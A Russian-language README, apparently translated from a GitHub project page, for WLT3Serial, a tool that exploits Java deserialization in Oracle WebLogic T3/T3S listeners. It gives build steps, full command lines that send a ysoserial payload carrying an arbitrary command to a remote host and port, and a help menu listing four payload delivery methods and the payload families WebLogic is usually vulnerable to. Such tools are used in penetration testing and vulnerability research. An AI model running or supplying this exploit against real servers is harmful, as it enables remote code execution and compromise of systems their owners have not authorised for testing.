
Эксплойт десериализации на нативном Java для слушателей WebLogic T3 (и T3S).
Нативный эксплойт десериализации на Java для слушателей WebLogic T3 (и T3S) (как описано ЗДЕСЬ). Требует сторонних зависимостей ysoserial и wlthint3client.
Требуется Oracle Java 7 или 8. Не тестировалось с другими поставщиками Java (например, OpenJDK или IBM JRE), поэтому я не гарантирую поддержку для них. Вероятно, может быть собрано с Java 9 или 10, но я не гарантирую поддержку для них.
WLT3Serial собирается с помощью системы автоматизации сборки Gradle. Для сборки следует использовать Gradle 4, хотя другие версии были частично протестированы (см. раздел Разработка).
Сторонние зависимости:
Процедура:
git clone https://github.com/Bort-Millipede/WLT3Serial.gitgradle clean preparegradle build -x testТребуется Oracle Java 7 или 8. Не тестировалось с другими поставщиками Java (например, OpenJDK или IBM JRE), поэтому я не гарантирую поддержку для них. Вероятно, может быть использовано с Java 9 или 10, но я не гарантирую поддержку для них.
Если используются методы эксплуатации Property (по умолчанию), Bind или WLBind, WLT3Serial следует выполнять следующим образом (обратите внимание на значение параметра java '-cp'):
java -cp /path/to/ysoserial.jar:/path/to/wlthint3client.jar:/path/to/WLT3Serial-[VERSION].jar bort.millipede.wlt3.WLT3Serial [OPTIONS] REMOTE_HOST REMOTE_PORT PAYLOAD_TYPE PAYLOAD_CMDjava -cp \path\to\ysoserial.jar;\path\to\wlthint3client.jar;\path\to\WLT3Serial-[VERSION].jar bort.millipede.wlt3.WLT3Serial [OPTIONS] REMOTE_HOST REMOTE_PORT PAYLOAD_TYPE PAYLOAD_CMDЕсли используется метод эксплуатации CustomClass, WLT3Serial следует выполнять следующим образом (обратите внимание на значение параметра java '-cp'):
java -cp /path/to/ysoserial.jar:/path/to/WLT3Serial-[VERSION].jar:/path/to/wlthint3client.jar bort.millipede.wlt3.WLT3Serial [OPTIONS] REMOTE_HOST REMOTE_PORT PAYLOAD_TYPE PAYLOAD_CMDjava -cp \path\to\ysoserial.jar;\path\to\WLT3Serial-[VERSION].jar;\path\to\wlthint3client.jar bort.millipede.wlt3.WLT3Serial [OPTIONS] REMOTE_HOST REMOTE_PORT PAYLOAD_TYPE PAYLOAD_CMDНиже приведена распечатка встроенного меню справки:
Usage: WLT3Serial [OPTIONS] REMOTE_HOST REMOTE_PORT PAYLOAD_TYPE PAYLOAD_CMD
Options:
--help print usage (you're lookin at it)
--verbose Verbose output (full thrown exception output; Disabled by default)
--method=EXPLOIT_METHOD Exploit Method for delivering generated ysoserial payload
Exploit Methods:
Property Send ysoserial payload as connection environment property value (Default; via javax.naming.Context.lookup(), variation of ysoserial.exploit.RMIRegistryExploit)
Bind Send ysoserial payload as object to bind to name (via javax.naming.Context.bind(), similar to ysoserial.exploit.RMIRegistryExploit)
WLBind Send ysoserial payload as WebLogic RMI object to bind to name (via weblogic.rmi.Naming.bind(), similar to ysoserial.exploit.RMIRegistryExploit)
CustomClass Send ysoserial payload during T3/T3S connection initialization (via custom weblogic.rjvm.ClassTableEntry class, similar to JavaUnserializeExploits weblogic.py)
--t3s[=PROTOCOL] Use T3S (transport-encrypted) connection (Disabled by default)
Protocols:
TLSv1.2
TLSv1.1
TLSv1 (Default)
SSLv3
SSLv2 (SSLv2Hello handshake only, then fallback to SSLv3 for communication: this is an Oracle Java limitation, not a WLT3Serial limitation)
Available Payload Types (WebLogic is usually vulnerable to "CommonsCollectionsX" and "JRMPClientX" types):
(available payloads listed here)